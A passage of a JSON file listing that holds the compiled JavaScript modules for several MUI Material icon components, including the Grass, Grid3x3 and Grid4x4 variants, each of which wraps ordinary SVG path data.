    "path": "packages/mui-icons-material/lib/GraphicEqTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18h2V6H7zm4 4h2V2h-2zm-8-8h2v-4H3zm12 4h2V6h-2zm4-8v4h2v-4z\"\n}), 'GraphicEqTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GraphicEqTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18h2V6H7zm4 4h2V2h-2zm-8-8h2v-4H3zm12 4h2V6h-2zm4-8v4h2v-4z\"\n}), 'GraphicEqTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grass.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20H2v-2h5.75c-.73-2.81-2.94-5.01-5.75-5.74.64-.16 1.31-.26 2-.26 4.42 0 8 3.58 8 8m10-7.74c-.64-.16-1.31-.26-2-.26-2.93 0-5.48 1.58-6.88 3.93.29.66.53 1.35.67 2.07.13.65.2 1.32.2 2h8v-2h-5.75c.74-2.81 2.95-5.01 5.76-5.74m-6.36-1.24c.78-2.09 2.23-3.84 4.09-5C15.44 6.16 12 9.67 12 14v.02c.95-1.27 2.2-2.3 3.64-3m-4.22-2.17C10.58 6.66 8.88 4.89 6.7 4 8.14 5.86 9 8.18 9 10.71c0 .21-.03.41-.04.61.43.24.83.52 1.22.82.21-1.18.65-2.29 1.24-3.29\"\n}), 'Grass');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grass.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20H2v-2h5.75c-.73-2.81-2.94-5.01-5.75-5.74.64-.16 1.31-.26 2-.26 4.42 0 8 3.58 8 8m10-7.74c-.64-.16-1.31-.26-2-.26-2.93 0-5.48 1.58-6.88 3.93.29.66.53 1.35.67 2.07.13.65.2 1.32.2 2h8v-2h-5.75c.74-2.81 2.95-5.01 5.76-5.74m-6.36-1.24c.78-2.09 2.23-3.84 4.09-5C15.44 6.16 12 9.67 12 14v.02c.95-1.27 2.2-2.3 3.64-3m-4.22-2.17C10.58 6.66 8.88 4.89 6.7 4 8.14 5.86 9 8.18 9 10.71c0 .21-.03.41-.04.61.43.24.83.52 1.22.82.21-1.18.65-2.29 1.24-3.29\"\n}), 'Grass');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrassOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20H2v-2h5.75c-.73-2.81-2.94-5.01-5.75-5.74.64-.16 1.31-.26 2-.26 4.42 0 8 3.58 8 8m10-7.74c-.64-.16-1.31-.26-2-.26-2.93 0-5.48 1.58-6.88 3.93.29.66.53 1.35.67 2.07.13.65.2 1.32.2 2h8v-2h-5.75c.74-2.81 2.95-5.01 5.76-5.74m-6.36-1.24c.78-2.09 2.23-3.84 4.09-5C15.44 6.16 12 9.67 12 14v.02c.95-1.27 2.2-2.3 3.64-3m-4.22-2.17C10.58 6.66 8.88 4.89 6.7 4 8.14 5.86 9 8.18 9 10.71c0 .21-.03.41-.04.61.43.24.83.52 1.22.82.21-1.18.65-2.29 1.24-3.29\"\n}), 'GrassOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrassOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20H2v-2h5.75c-.73-2.81-2.94-5.01-5.75-5.74.64-.16 1.31-.26 2-.26 4.42 0 8 3.58 8 8m10-7.74c-.64-.16-1.31-.26-2-.26-2.93 0-5.48 1.58-6.88 3.93.29.66.53 1.35.67 2.07.13.65.2 1.32.2 2h8v-2h-5.75c.74-2.81 2.95-5.01 5.76-5.74m-6.36-1.24c.78-2.09 2.23-3.84 4.09-5C15.44 6.16 12 9.67 12 14v.02c.95-1.27 2.2-2.3 3.64-3m-4.22-2.17C10.58 6.66 8.88 4.89 6.7 4 8.14 5.86 9 8.18 9 10.71c0 .21-.03.41-.04.61.43.24.83.52 1.22.82.21-1.18.65-2.29 1.24-3.29\"\n}), 'GrassOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrassRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.64 11.02c.55-1.47 1.43-2.78 2.56-3.83.38-.36.04-1-.46-.85-3.32.98-5.75 4.05-5.74 7.69.95-1.28 2.2-2.31 3.64-3.01m-4.22-2.17c-.6-1.56-1.63-2.91-2.96-3.87-.42-.3-.96.19-.72.65C8.54 7.15 9 8.88 9 10.71c0 .21-.03.41-.04.61.43.24.83.52 1.22.82.21-1.18.65-2.29 1.24-3.29M12 20H3c-.55 0-1-.45-1-1s.45-1 1-1h4.75c-.57-2.19-2.04-4.02-4-5.06-.16-.08-.26-.25-.26-.44 0-.27.22-.49.49-.5H4c4.42 0 8 3.58 8 8m8.26-7.06c-1.96 1.04-3.44 2.87-4 5.06H21c.55 0 1 .45 1 1s-.45 1-1 1h-7c0-.68-.07-1.35-.2-2-.15-.72-.38-1.42-.67-2.07C14.52 13.58 17.07 12 20 12h.02c.27 0 .49.23.49.5.01.19-.1.35-.25.44\"\n}), 'GrassRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrassRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.64 11.02c.55-1.47 1.43-2.78 2.56-3.83.38-.36.04-1-.46-.85-3.32.98-5.75 4.05-5.74 7.69.95-1.28 2.2-2.31 3.64-3.01m-4.22-2.17c-.6-1.56-1.63-2.91-2.96-3.87-.42-.3-.96.19-.72.65C8.54 7.15 9 8.88 9 10.71c0 .21-.03.41-.04.61.43.24.83.52 1.22.82.21-1.18.65-2.29 1.24-3.29M12 20H3c-.55 0-1-.45-1-1s.45-1 1-1h4.75c-.57-2.19-2.04-4.02-4-5.06-.16-.08-.26-.25-.26-.44 0-.27.22-.49.49-.5H4c4.42 0 8 3.58 8 8m8.26-7.06c-1.96 1.04-3.44 2.87-4 5.06H21c.55 0 1 .45 1 1s-.45 1-1 1h-7c0-.68-.07-1.35-.2-2-.15-.72-.38-1.42-.67-2.07C14.52 13.58 17.07 12 20 12h.02c.27 0 .49.23.49.5.01.19-.1.35-.25.44\"\n}), 'GrassRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrassSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20H2v-2h5.75c-.73-2.81-2.94-5.01-5.75-5.74.64-.16 1.31-.26 2-.26 4.42 0 8 3.58 8 8m10-7.74c-.64-.16-1.31-.26-2-.26-2.93 0-5.48 1.58-6.88 3.93.29.66.53 1.35.67 2.07.13.65.2 1.32.2 2h8v-2h-5.75c.74-2.81 2.95-5.01 5.76-5.74m-6.36-1.24c.78-2.09 2.23-3.84 4.09-5C15.44 6.16 12 9.67 12 14v.02c.95-1.27 2.2-2.3 3.64-3m-4.22-2.17C10.58 6.66 8.88 4.89 6.7 4 8.14 5.86 9 8.18 9 10.71c0 .21-.03.41-.04.61.43.24.83.52 1.22.82.21-1.18.65-2.29 1.24-3.29\"\n}), 'GrassSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrassSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20H2v-2h5.75c-.73-2.81-2.94-5.01-5.75-5.74.64-.16 1.31-.26 2-.26 4.42 0 8 3.58 8 8m10-7.74c-.64-.16-1.31-.26-2-.26-2.93 0-5.48 1.58-6.88 3.93.29.66.53 1.35.67 2.07.13.65.2 1.32.2 2h8v-2h-5.75c.74-2.81 2.95-5.01 5.76-5.74m-6.36-1.24c.78-2.09 2.23-3.84 4.09-5C15.44 6.16 12 9.67 12 14v.02c.95-1.27 2.2-2.3 3.64-3m-4.22-2.17C10.58 6.66 8.88 4.89 6.7 4 8.14 5.86 9 8.18 9 10.71c0 .21-.03.41-.04.61.43.24.83.52 1.22.82.21-1.18.65-2.29 1.24-3.29\"\n}), 'GrassSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrassTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20H2v-2h5.75c-.73-2.81-2.94-5.01-5.75-5.74.64-.16 1.31-.26 2-.26 4.42 0 8 3.58 8 8m10-7.74c-.64-.16-1.31-.26-2-.26-2.93 0-5.48 1.58-6.88 3.93.29.66.53 1.35.67 2.07.13.65.2 1.32.2 2h8v-2h-5.75c.74-2.81 2.95-5.01 5.76-5.74m-6.36-1.24c.78-2.09 2.23-3.84 4.09-5C15.44 6.16 12 9.67 12 14v.02c.95-1.27 2.2-2.3 3.64-3m-4.22-2.17C10.58 6.66 8.88 4.89 6.7 4 8.14 5.86 9 8.18 9 10.71c0 .21-.03.41-.04.61.43.24.83.52 1.22.82.21-1.18.65-2.29 1.24-3.29\"\n}), 'GrassTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GrassTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20H2v-2h5.75c-.73-2.81-2.94-5.01-5.75-5.74.64-.16 1.31-.26 2-.26 4.42 0 8 3.58 8 8m10-7.74c-.64-.16-1.31-.26-2-.26-2.93 0-5.48 1.58-6.88 3.93.29.66.53 1.35.67 2.07.13.65.2 1.32.2 2h8v-2h-5.75c.74-2.81 2.95-5.01 5.76-5.74m-6.36-1.24c.78-2.09 2.23-3.84 4.09-5C15.44 6.16 12 9.67 12 14v.02c.95-1.27 2.2-2.3 3.64-3m-4.22-2.17C10.58 6.66 8.88 4.89 6.7 4 8.14 5.86 9 8.18 9 10.71c0 .21-.03.41-.04.61.43.24.83.52 1.22.82.21-1.18.65-2.29 1.24-3.29\"\n}), 'GrassTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid3x3.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'Grid3x3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid3x3.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'Grid3x3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid3x3Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'Grid3x3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid3x3Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'Grid3x3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid3x3Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9c0-.55-.45-1-1-1h-3V5c0-.55-.45-1-1-1s-1 .45-1 1v3h-4V5c0-.55-.45-1-1-1s-1 .45-1 1v3H5c-.55 0-1 .45-1 1s.45 1 1 1h3v4H5c-.55 0-1 .45-1 1s.45 1 1 1h3v3c0 .55.45 1 1 1s1-.45 1-1v-3h4v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1h-3v-4h3c.55 0 1-.45 1-1m-6 5h-4v-4h4z\"\n}), 'Grid3x3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid3x3Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9c0-.55-.45-1-1-1h-3V5c0-.55-.45-1-1-1s-1 .45-1 1v3h-4V5c0-.55-.45-1-1-1s-1 .45-1 1v3H5c-.55 0-1 .45-1 1s.45 1 1 1h3v4H5c-.55 0-1 .45-1 1s.45 1 1 1h3v3c0 .55.45 1 1 1s1-.45 1-1v-3h4v3c0 .55.45 1 1 1s1-.45 1-1v-3h3c.55 0 1-.45 1-1s-.45-1-1-1h-3v-4h3c.55 0 1-.45 1-1m-6 5h-4v-4h4z\"\n}), 'Grid3x3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid3x3Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'Grid3x3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid3x3Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'Grid3x3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid3x3TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'Grid3x3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid3x3TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10V8h-4V4h-2v4h-4V4H8v4H4v2h4v4H4v2h4v4h2v-4h4v4h2v-4h4v-2h-4v-4zm-6 4h-4v-4h4z\"\n}), 'Grid3x3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid4x4.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7V5h-3V2h-2v3h-4V2h-2v3H7V2H5v3H2v2h3v4H2v2h3v4H2v2h3v3h2v-3h4v3h2v-3h4v3h2v-3h3v-2h-3v-4h3v-2h-3V7zM7 7h4v4H7zm0 10v-4h4v4zm10 0h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Grid4x4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid4x4.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7V5h-3V2h-2v3h-4V2h-2v3H7V2H5v3H2v2h3v4H2v2h3v4H2v2h3v3h2v-3h4v3h2v-3h4v3h2v-3h3v-2h-3v-4h3v-2h-3V7zM7 7h4v4H7zm0 10v-4h4v4zm10 0h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Grid4x4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid4x4Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7V5h-3V2h-2v3h-4V2h-2v3H7V2H5v3H2v2h3v4H2v2h3v4H2v2h3v3h2v-3h4v3h2v-3h4v3h2v-3h3v-2h-3v-4h3v-2h-3V7zM7 7h4v4H7zm0 10v-4h4v4zm10 0h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Grid4x4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid4x4Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7V5h-3V2h-2v3h-4V2h-2v3H7V2H5v3H2v2h3v4H2v2h3v4H2v2h3v3h2v-3h4v3h2v-3h4v3h2v-3h3v-2h-3v-4h3v-2h-3V7zM7 7h4v4H7zm0 10v-4h4v4zm10 0h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Grid4x4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid4x4Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6c0-.55-.45-1-1-1h-2V3c0-.55-.45-1-1-1s-1 .45-1 1v2h-4V3c0-.55-.45-1-1-1s-1 .45-1 1v2H7V3c0-.55-.45-1-1-1s-1 .45-1 1v2H3c-.55 0-1 .45-1 1s.45 1 1 1h2v4H3c-.55 0-1 .45-1 1s.45 1 1 1h2v4H3c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h4v2c0 .55.45 1 1 1s1-.45 1-1v-2h4v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-4h2c.55 0 1-.45 1-1s-.45-1-1-1h-2V7h2c.55 0 1-.45 1-1M7 7h4v4H7zm0 10v-4h4v4zm10 0h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Grid4x4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid4x4Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6c0-.55-.45-1-1-1h-2V3c0-.55-.45-1-1-1s-1 .45-1 1v2h-4V3c0-.55-.45-1-1-1s-1 .45-1 1v2H7V3c0-.55-.45-1-1-1s-1 .45-1 1v2H3c-.55 0-1 .45-1 1s.45 1 1 1h2v4H3c-.55 0-1 .45-1 1s.45 1 1 1h2v4H3c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h4v2c0 .55.45 1 1 1s1-.45 1-1v-2h4v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-4h2c.55 0 1-.45 1-1s-.45-1-1-1h-2V7h2c.55 0 1-.45 1-1M7 7h4v4H7zm0 10v-4h4v4zm10 0h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Grid4x4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid4x4Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7V5h-3V2h-2v3h-4V2h-2v3H7V2H5v3H2v2h3v4H2v2h3v4H2v2h3v3h2v-3h4v3h2v-3h4v3h2v-3h3v-2h-3v-4h3v-2h-3V7zM7 7h4v4H7zm0 10v-4h4v4zm10 0h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Grid4x4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid4x4Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7V5h-3V2h-2v3h-4V2h-2v3H7V2H5v3H2v2h3v4H2v2h3v4H2v2h3v3h2v-3h4v3h2v-3h4v3h2v-3h3v-2h-3v-4h3v-2h-3V7zM7 7h4v4H7zm0 10v-4h4v4zm10 0h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Grid4x4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid4x4TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7V5h-3V2h-2v3h-4V2h-2v3H7V2H5v3H2v2h3v4H2v2h3v4H2v2h3v3h2v-3h4v3h2v-3h4v3h2v-3h3v-2h-3v-4h3v-2h-3V7zM7 7h4v4H7zm0 10v-4h4v4zm10 0h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Grid4x4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Grid4x4TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7V5h-3V2h-2v3h-4V2h-2v3H7V2H5v3H2v2h3v4H2v2h3v4H2v2h3v3h2v-3h4v3h2v-3h4v3h2v-3h3v-2h-3v-4h3v-2h-3V7zM7 7h4v4H7zm0 10v-4h4v4zm10 0h-4v-4h4zm0-6h-4V7h4z\"\n}), 'Grid4x4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GridGoldenratio.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11V9h-7V2h-2v7h-2V2H9v7H2v2h7v2H2v2h7v7h2v-7h2v7h2v-7h7v-2h-7v-2zm-9 2h-2v-2h2z\"\n}), 'GridGoldenratio');"
  },
  {
